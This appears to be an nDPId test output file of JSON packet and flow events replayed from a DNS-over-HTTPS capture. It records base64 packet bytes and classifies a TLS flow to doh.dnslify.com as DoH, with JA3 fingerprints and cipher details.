+00506{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":15974,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoPz5AAL0G1JsKAAABLZm7YJSCAbsJfFOfn27vwlAYAfWqEAAAFAMDAAEBFwMDADXzhu9IckZdRF5p9rktj4FIPv\/RwuhvcZ5iWKfecDRsL5LtFLthbeqdmQGRbwyypD9mazUNOQ=="} +00535{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":16008,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+Pz9AAL0G1IQKAAABLZm7YJSCAbsJfFPfn27vwlAYAfWqJgAAFwMDAFFS6HSolQONUAW59PBdGtgVHQTC6yJoVCA4lOkKUOgLspS0M5eGwl4vbADuT6W\/63Ogy8VduvtD38O7x2SBJDrj07p4QErHcergSl3nvKoUwYU="} +00658{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":16049,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"REREREREZmZmZmZmCABFAADVP0BAAL0G1CwKAAABLZm7YJSCAbsJfFQ1n27vwlAYAfWqfQAAFwMDAKgQHKzlXDHoL4GdlXpdHC\/5+dtOWJ5cuddY934s+jfVjmli4lQlIZlYGWZjR1muNxfzyvzHzMaCtLX\/RaxKG\/K182lERTih\/vst77sKNOa\/G7QYfppYLAXSdZc4eRJnoT4\/yAzkZZq4TjeW6p\/hB23K55WkeY8yRUjE7B6d4xm07fsf4fQ+8Xy9An8K5tXAx6VaJ6wf2odfwhiIB6fS1gtRM7wkvjAs\/TI="} +00527{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":16072,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3P0FAAL0G1IkKAAABLZm7YJSCAbsJfFTin27vwlAYAfWqHwAAFwMDAEobqJg6P6nFSQkY+Z509BTM37U7Y2mTYXe\/nBNGoeesPfg4kx1\/yv8u91noYurEFuuKzmDI+bhvgs11hi7oZEInBsUrRN3++8L2dw=="} +00535{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":64076,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ZmZmZmZmRERERERECABFAAB8Vv5AADYGQ8gtmbtgCgAAAQG7lIKfbu\/CCXxVMVAYAIM2VQAAFwMDAE9XU4i09u+c4b\/wv6s\/0CkY8QvGwFL8ahX7JTuHU+hjRPbBsxDP\/vAne9MgTeIi8bi3Cy9ryIZP\/UKK6EGkWEREhLeHS1M5mx9Ly3Msehzs"} +00459{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":64103,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHP0JAAL0G1LgKAAABLZm7YJSCAbsJfFUxn27wFlAYAfWp7wAAFwMDABpvWBiQI8nQHz2L4DuRqcAuVUAA3pwevv2WCQ=="} +01530{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":65119,"pkt_caplen":868,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":868,"pkt_l4_len":834,"pkt":"ZmZmZmZmRERERERECABFAANWVv9AADYGQO0tmbtgCgAAAQG7lIKfbvAWCXxVMVAYAIO0OwAAFwMDAynuHotPI4iWpWq5jvE\/b8DbYmL+3UTjiljCGs7FV36Nt1gcGHX+RBZ5sQiAiOCMP4PLjDDsHmD7Cb6D42tBZjaMVPR\/mPPcIP5JAcBHvNV9a2ZwSnuQMlxpVQ6PjzwuTz057XmAN5s0MKCGl6LnWdDu+fC0bG6Mx0LiBJ\/aXySAUhjTsx\/ah1xZSQGXbbBeXRCZ6Hgh\/TSGCJVvKvYzsC\/a\/vBU39IdDwTk8gANnKjW3EgYeQqKQA\/CV0K09RascyhXTC7nGfCz+uaiUwg1AamuF40fQZ1E7Y+1xJav0ExfL8fxlO1yly2YfdVz9AO1uG\/XkfxuMUIHTLOSOrZnhHDJ2XPG70yPQE8Zqxv+fw+hhRAQaYDaTslSumYfGd5LpOnZ2aymYAG32eWwnkMqSwITDe9DVFMwKdG9dz8L+Y9Eeven\/4WHF+Ox7GGgbG+mO4YhRJWQGpNj9LJoDTAq8PmHPbeoR5qUCcrxXDZljiH\/h1kfPXNZHGVHnqMYLflfZA4DyTmQNd7DTWBXoFSeGUndWGtGDDq3I6CCuQKGe6u5D9Bcu2iKWg+vsjB1\/fGCM4MWurzg5QGLfHlePeycv80sx18Pm9PWyy68RJ\/f9\/r83smmWslZvbed7Kjn7paqm3I6c12jim+Wv758JCVip2nHcHMs\/tNEsKn29FFh\/dHCizgBtL\/UVq7oeWqfox8t1sYCT\/DmO2ZGCLWjNJWfSrVy+V74XIEExirC4h5d2BNSHrtpFGfkdLGQcn3cElb9Rs5TxNFzKKej1azWkuR\/4LFCkhx5f8rDoFVulJhHULZDF6Z0KgmbMG9+GiPIRm36NCTZWNmqMq7cXcuCTrBQvlgsz66g8mEhjq4ZNHngQIXZr0371opPj1iiQ4REM42w0+EVTRxMS1WIwcPeu\/apW8WKY\/Xz5463YAdeE2iCM9xBF8s\/lO4W\/WqphkyKGg0IpXyZ37atAeQfBb7ZSKa0f01wiFWtyp8CQJXtNyIyoA1sRuF98HX5s1zCglZ55z+X3yYm+EQA7ZBZf6KWp53V6SqFvDDYh81L3rB7LpljwI0K6VRWC0BgaHeDvQ=="} +00567{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":65212,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"REREREREZmZmZmZmCABFAACTP0NAAL0G1GsKAAABLZm7YJSCAbsJfFVQn27zRFAYAfWqOwAAFwMDAGafYU+EBlLbtjSqWah5eR8R8gLQK02AFOPIqzmJ6gKt9HwWw7B0S5PQR7\/SjqGjJwh5i26m7cSrvqa9Cl\/tzaxWT\/ysDB0npRYcnSyzvescnm5hp2YlASJts08\/d87VVhDQ4uKTRa8="} +00569{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":65278,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWP0RAAL0G1GcKAAABLZm7YJSCAbsJfFW7n27zRFAYAfWqPgAAFwMDAGn6PtIkVHmoMJzjgnATo\/ZJEjP78dbfTDYCDqYkTi3+wLGg0MV7H5ZkPBTMTwrv4al6lvpl6iYG+my2jimgUkz\/xkX3NfQvTv8nr8kDL3hBX18zhdwCA1rVR9xVIWVhkT84sSRuAePVKBc="} +00466{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":111124,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLVwFAADYGQ\/YtmbtgCgAAAQG7lIKfbvNECXxWKVAYAINn0QAAFwMDAB72vYhNJfr2emZvkuGwRpUrsgwkpkyMMIbGlSfK6XM="} +01125{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739349,"pkt_ts_usec":138384,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"ZmZmZmZmRERERERECABFAAItVwJAADYGQhMtmbtgCgAAAQG7lIKfbvNnCXxWKVAYAIONrQAAFwMDAgB4l98RxKWfbSMotLDSiQR6edN2EYdpxWoGfSeyS0FoxV2bjBprpJnZ2sR6iqNqaW\/HJKptSnpncrSntS57Q5FQ06f8g+Ne1Nto\/RhX0aRCKOG62K3tZIL1VwtOwgn9so58Dtam2oYRg0273TQzl+9k3X4GKn54g26VYZ3sPhxiOPtJkAPonIbhid2\/PGAf8i6TxbGZsPdWzUDht+loR4pnPvhPoEqtqRiB6jWGXFXKTjtxTdPA\/Dvylgr8o+IET0PNTx+\/FA88nKpol4vEMqD1wK0cOm6kAgbWXem59l+QFeLj9cnAypndtz\/iygelWBfg095HxRc5E8\/H86vDjJOgqxHn3iPKUcDQkEY3mCiPPHHv7V5aI7gCVpSUD4hBSJweM3aYy9K8KudaxjdeBDNcQszGKW5YbWZAgOzxfW9mi\/F0hJITePnojX5vfuD+8PGEJbqgaN9Fwze\/6Dr26TNn3hYNefkzZ7nYjkbz6Ar6NGK2sy3\/72VNBDv\/f9MXtoHnBE7n26+Ao5HDKCn7T6ATKLTROkSfTeDzEm+gpac8DD8VQQI\/tIyUwAQ58dmjQrj5oLPrz6UzjX49qyJraIYEMvYva0b3aVwSDw4uMV9SGhQW7AuPLeDOHtSXqgvHYpAWGM6dwpk7EclOgaLoz+iCAzmfIobpkzxHKtO\/ZrixCQ=="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":266,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":946739354159,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.235.81.1","src_port":44640,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00801{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":159307,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"REREREREZmZmZmZmCABFAAFFsX5AAL0GP4sKAAABuetRAa5gAbtwXMMeYngARlAYAfbM4AAAFgMBARgBAAEUAwPEqi+8SizamcFZuiOMoqnZy7ZEtN03UH+nij+VYBL3GiAFdLPwuVYC1BfptVDzpRdMmd95Dbs0SjTzk4T9Cfoa3AAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAClAAAAFAASAAAPZG9oLmRuc2xpZnkuY29tAAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIAlFpvTRrkboC35Gi6Kti1ZQzFT3L63Tg7Ad2VS1Z0Nh"} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":266,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":946739354159,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.235.81.1","src_port":44640,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.dnslify.com","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04631{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":179666,"pkt_caplen":3168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3168,"pkt_l4_len":3134,"pkt":"ZmZmZmZmRERERERECABFAAxSLpJAADQGQGu561EBCgAAAQG7rmBieABGcFzEO1AYA+rX7QAAFgMDAHoCAAB2AwNebHWZixx0UeVpRBPFfxfOwpvxbfyV+ENeQi\/Un6YmQyAFdLPwuVYC1BfptVDzpRdMmd95Dbs0SjTzk4T9Cfoa3BMCAAAuACsAAgMEADMAJAAdACB1L93FSUikFZRCKYl+OoNXGHhZBDYuCiNIjz\/6VCChXhQDAwABARcDAwAgdZlJOwY6+pChCwvT27tLGZnet+yerzqND\/r13r3OLdQXAwMKE5aV9MRHEDXFawxN2Z6ZXTlxr30g5cib8A44fkQ64oQQPk\/j2rM6co+1b6nblkLeVstFbtdteXwKa840eY9TBhZcpregM8Gpq1oOWaP3aNoy3x0m7PtgdMXWTRJ7rBzMj95YpQgnRNENvlH3xRXTNJuz0OfawrfLZMK40dTY8qdEtSvVWaOv58OBFTZzds8x7Jv0lUMqTicPkVrWkLGPasMnh+a2IVbs4dzr6AhsFrB+RZ1Cwi3B7S6zzr3HKx3FQGuVtHh19izb6w3PsdZ173iclTsS5Bteswb+0EdgltfMU7tCCWlZhlMw5cbiqzX6GLMdzRL4kMNW6gZ94dTc92SBIwy+nEoGbWZhqTeDuHiAUARf+gliy5YoFjW\/PRAypf5PMRtEZClIDkjH3prUoCFGtLR5uf4Ro0aKo3ih\/KCyAGbVEIvG4bDrcfRxO0cIiVz1g0D8AUPbTDsJO+EPspEYZgIriHIBYFx\/k\/flIHH3EjcpqIe+X8XzMf\/XqWL46qAhN1cBUZXyVc3ZIhpeJ7ZcaAbPdH2pnTMTM+2Go4igirnaKWq3AflEDkSSdueX+UQOyAZUkd6Z\/x1Mwq9Tb7hXL6vtOYcRcpywMzYkakngWETbQss0CojZbN6WAPS\/E+Yya6CgGI5Mt3dulPgu8jNdumumeB1P2glp9qwQHuvHZ1QS+cPtS5x1raYCp7T5sLegZ7EBanNjOEnVAU4IhPuW0ciFUM9Mj\/BzgDWE\/hUdNhPhhQjiaUBq7VyAXKWvyO4Dx2Fel0gu0u32uA\/SHIYv4dBAj17ghhBMv+sGNC8NMtNWhv9aqIp0FgaNgTJ0u6ZahzAQoaba8gKEvhS9MXrxWiCXAHjt1VsuslTiTWmDXRn19O8C7v9DYdY\/x+ZHYaRltrJ+iDZDtT011nG9MjUMy2gT88psevKL0b5pLEr8mJZKye0N3pZbPCi7mofLMsInUgCJYAIJe6z94EV17S9g5MdytiaRjgrDRHDrubquER\/+3IoTeZlSES8Dx7zlXZ1xB0O+hR5nXJGyIskMCiVwzAersZ9n8hiUAXpNADMi79ZOaHWxepo2ogdjtLk6L5RJOzsW\/4O9s\/bE+P+1smYJ8Xz\/vrKCk0smpZMpgO1UV8s8gCIdy3Fy602DcQY72cCEk\/bea7v72CbMggpz6myeQuHNx9T5ZrAHxOyDqp4pkMAhTfD0dC3xg5zkOkSQr5pJx6ievuDl8+wenRgTssVF8J1H1XRwU56YwKhMsgqTn8eD+cywTh5zCo9dNvl9ZfHWmV3Mdg4aJz1dYzmdkUhSu46Md5G4HmOnLwI\/XQbyhHcZ2WUU9mvD9BvjP9kn2RjUXcRT+d\/cwjt2Esxb2ENHpq2bs5raN\/CIbWH\/kUQRUUCpYL9CdmiBZpRtJPrOXy6iWAKofUme88d2tr7pTpEzcTLRU5BoYhPgOVQbcXw1q3yaTUVQB4Wvp1Zu7ruywhz7ujDaUupe4ypGeBHoMNq\/GonbnedBdKUd5q1Hau\/cYgTRejjU\/rutBsmd1TsWFTtw4Narsizl07q94yxV1+nrTG1gDq+RefJI3JM3SA8ccXZmrC6\/9FsgFjt+2cDWt4JB10cFksHu2\/ml\/dASyc2jx2disClcngjvd0YpBOF1xYxILWWqUHc2SCZLZ2Aroa1pMW21jKFGB4Ar1xpSSuVVcPsSSozoKj4\/j0FvDgtwJoY1rK5ezs7yUOh0iG7\/TmlCa9VwcqKlbka3ucK+EV23eB8BAhdfkU1ZRvrzop+h56cTHnAqdzA+huEFkYic20FxEaceaf8SUoyM1\/uxur0377YEwqxCUCLmkpdjf2hKaG2o6w6dX9vCExiNhM2Jlol1IlMb4fWmsojPIiIMoMr4vCBzw+JJJUMfUwOy6sleF+nP5muuQ5rVTMwbb+OCuGE2jDpUYai822DbFN3NNQkq3i2+StVf9WCISeMMwfPk+unXE38SgIx+97\/gooknQY70IX3TsgQKFcc1SEcM6rgwk5pR4rwHfer1xQNsM1RKZGf8xeZa+ag2yg\/IxDT4LymayHchHxdaigJz4AcxjPrNuXaoi2s3E1xPh2H1clb\/ZJJwrzY7BZjc1TQovWjOw6wm8GHMHRYPWaLpFhaLJX6iixp0BBfYBFzNmIvcsaGPhpGQIWG8LNHl1vR+XYpcJzMWemerQw5\/TiIwzhe4xLQ3Ee69tOX2fKhT1GAVUyB0oeuLgjlb0FpWzQ\/lyORIy\/GJNnRuRgdZy8RNv03eZWNeLTHNU8amNvoSqoCJx28QcG4ZFWjkiBlGlisQg9MS7LfxB5YDcM35ukvbr57gX64nw00G3GJe5JnYnqeIHNIuWQI7nvVvBHP3PfWTKRa21nyK90D70j+bxIjA68ylRrcDSlrq9zK60l62NWR551fMFXxuoHTFc7qQ+K4J0ESDuqw7x47BFgsRGeVuVNYexUC0TU1lBMwcu9BGg+0G0+duPvOP3aW+jzZAhqEMopcx946w0BTw\/+bJ5qiZX+nSvNF+IzKPfnXq7G+okmmjpg\/ianwcwtjvgrAC4pnZGY+m\/27CyJiTEi9fYvN2T1KGpFt19LfH\/UKHKmZdKRHhHpgpAUwyz0ixR7JCGsZBCNp7SmZtoObLBfKyYFLS1OdeJn33VC7QU5ZIB0TIGMOnasD1IIceFavDDD1uWjFat9U8TSvdQkrVOP0H+iiog+bscrfkzNeLsrOj5JaS96ZDARUESAXVBQE+wq3Z0J6WrNdNJCanh0R13lIIfbBO3tp1JQaYJcU43NTOBatEStIgR6pggN4HF+DO2dNPqB6DJlllwkNWiMSwaSg\/Qokswn+fLJvn7pPXb8ILKczNLht2jz9aEp0+I8QfJ9sljCRmG\/qdZknc3MVkUZCxQWgeYvnw16OCgKVrO7aXg97ZXgFQywgIz4XcG4cQlmlUgZ5vBckLpEq1wb47O2DC7oYeIkB7WvMn7pIP5qKMmIewtCOip18QV5mNZQ7kfdTHrJyhNEAXbfaMkBbJyAVJGCBIYwvhIF13Izb7B6Cmnolxq1r5eurWQOB44xUuJop6m5Nm5hxmATag\/xOQnBP8r2vNMxUihmUT8anHH3UfjXAY915xtFCA13IdATjUK5r\/nOjWuYELtJmgRJ2oeyJFl+xU3enOifKqvSW9w3npBMuO6+ND+s2KXgdXZpDonBBs70SsK8NzgIT\/8A0se3txfhbwpY2EseDOLiVbMtTN8WhjrhnZpDEjzwdCV8jV8ki7+xTW6Ae32nBN9uRAZ20gpXPNrrgk+1oPaXal74NAuojgux90nmy7fGQvJ\/CCkJUFP2+xt7moAmNV6Bvh9GIV51tdhbag9+AtGmBI8WUGXz9QPwduT4nOO+Ia6cTJuP1+CL3tb+p6ijB1Jg583CQ8vtkm3Pw8NXcvYMcBOIpsKkRrBsD67+irg6nQFwMDARkSIsFlIX96rBVOSHF8j3nD4OzTmAKQfrZ20qhfNZw8PH0q41dWeUeDXwstCBpDPbSnxrC2ED\/1S7AKbK3628b0BuTXrCb9vI9IIN\/fjnNzXGCyCTfNGyQC7Z2s3ZZgGilAyQTgWS6IBv0X\/cXimIPEtNGeEgUfHp2ZiHChqtgUwdJbYZhYRpk9Vh4PP\/G\/geKDMJuF9LkfMNZa2A5\/kJwnnbAN+9JGdzxyQUZGqq8DCQqxQ4uAbnIJmcLNJBx9PHCzhhj8vk0E7hUaqEkvClX1iiIhNhFlmQ9FsqBvx5KYUvaVI86YI314BKZUdBn0Gn9Psqh3g3PCqYbuhSA+KXAHAB6ifkPpQbZxhpKA+yQN\/aKxaWBvyR8fvBcDAwBFUlHyM0i8aQGJ+PRPScWQmM6JruXTVxzLP2v5t10WMRjAfhtdK+kbZwmOwuBqS0fXovjROfDM5rGu95fh\/DYXUBWZSAER"} +00827{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":267,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":946739354159,"flow_last_seen":946739354179,"flow_tot_l4_data_len":3439,"flow_min_l4_data_len":305,"flow_max_l4_data_len":3134,"flow_avg_l4_data_len":1719,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.235.81.1","src_port":44640,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.dnslify.com","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00529{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":182236,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4sYBAAL0GQFYKAAABuetRAa5gAbtwXMQ7YngMcFAYAfXMEwAAFAMDAAEBFwMDAEWXq32pwHEzhcGDp\/NKLjvxgMAkksKxKcFIOFCDodEb90S6h8Gu0G\/BLuFfZ5sttQB7HESBT0tBjYEfHL61VthvR6QOjls="} +00536{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":182350,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+sYFAAL0GQE8KAAABuetRAa5gAbtwXMSLYngMcFAYAfXMGQAAFwMDAFGixfX+jyF1WhRHrN0+9CkAoYVj9DMr4YJ1kGbeEieNSecS+q0w\/iwl0yO2jmQwPz4JR3HyX5YbhQTrE+hYVumNbIkZKWuNU8LLxZezccE+lJ0="} +00653{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":182529,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"REREREREZmZmZmZmCABFAADTsYJAAL0GP\/kKAAABuetRAa5gAbtwXMThYngMcFAYAfXMbgAAFwMDAKbK9JgVHlFfw34FW0sw7dqQdGptZcZlO2RVkyCS9wnAksDujYS\/HvTuJaYyWrH+y2X4Bmu1xtRT05JwyRgxId\/Ba7+JzaKKgwintj3e33DfQyGya0AOLueZ+\/oQp7LSw9HD2MZM1r2dZ5ajI\/ki9R13QBfBlmX9ZJhMygxhpuJ\/kgAEbTo1exiYt1KPairdfATdtJ33NozQdJtvL9vaKpTjWkiyjKod"} +00526{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":182622,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3sYNAAL0GQFQKAAABuetRAa5gAbtwXMWMYngMcFAYAfXMEgAAFwMDAEpYoN2mcWNzlPP+6FgfIxHN8hB9hLglVChWzb2jcQP8xRoaJUyn+yI71m3Q6wdx69vwMrAqK6KGu1+blVzaUfSOxe8brp4779peEw=="} +01115{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":200338,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImLpZAADQGSpO561EBCgAAAQG7rmBieAxwcFzF21AYA+dnDQAAFwMDAPrR\/WtLGfWXAhB5AOWMZ3RijBk+9ilBeMWZ54s+5ptwNy4ZaVc\/Q1SLyu8bwJPgixP3dhN3rqmcmnb0PDdOvP9\/G2lr2OnilwbSo5ty8pM\/jUVjfNmzfw12N1DMt9K9H2XY0jqdjceIrltdh7ShGfFcRxL+iD+UnOxkT0I+GncfpZCIqSlzdEzy9SD2Yz2LeGOGpISBzoYzd72tUU2WLHd2TO\/Vv7GttrzNU3l8yxf+rvru5YVisddZHAVxa\/JeJ1hsF4cGhwhN+AwbvyjD7gr7C8avAyE+E4p60PSusLDUpL8ek6FPz6alxyEMhTIoU\/RT\/06VRSMx+7XmFwMDAPpU5cgsGqPcGlFXTfQtWRILz9nOuwoSR2PRvU\/75G18xx\/34UD43tQIWUAs4x3BoMNVd0BYYqw5xfsV9rVUDdYE+cij7oLGwzgwM1rbIgd5jtlC+y4prRnb0jbkn0\/qGoYMztNEPOIg7Jk4IsANUx4yOtM3yo+904PcKDJqzAs3NAHMVuvtyQK+SQC2bciqJK\/vxvelXaz7tdQZvIg9cGZR3amWHA3Z\/bzjcTMHnpH+bRHTEuDdzAhfgQDYBWt7Mhev31vp+ZS1qeeQN9L1eRrT3yds2TxAobzvZ\/Pd+th7VwjXXb21\/o9HQz\/N+i07qAVmSp0PNQpSnq+w"} +00490{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":200373,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"ZmZmZmZmRERERERECABFAABcLpdAADQGTFy561EBCgAAAQG7rmBieA5ucFzF21AYA+ei0wAAFwMDAC+39rMya2Kpqo1SOidq12xa4YB7JvorSVeEuzsrHpSF4rvKcFPJrEem+ZrHD3EWZQ=="} 